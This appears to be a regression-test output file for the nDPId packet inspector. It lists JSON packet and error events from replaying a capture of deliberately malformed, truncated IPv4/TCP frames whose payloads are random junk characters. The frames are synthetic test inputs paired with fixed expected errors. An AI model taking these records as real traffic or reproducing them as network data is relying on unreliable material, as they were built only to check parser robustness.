-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828270} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828282} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828294} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828305} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828317} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828331} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828343} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828355} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828367} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":2450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828394} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828406} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828418} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828429} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828463} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828487} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828499} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828506} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828514} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828528} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828535} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828543} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828560} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828568} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828575} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828582} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828593} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828601} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828609} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828616} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828631} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828639} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828649} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828672} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828684} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828696} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828708} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026825625,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026828720} 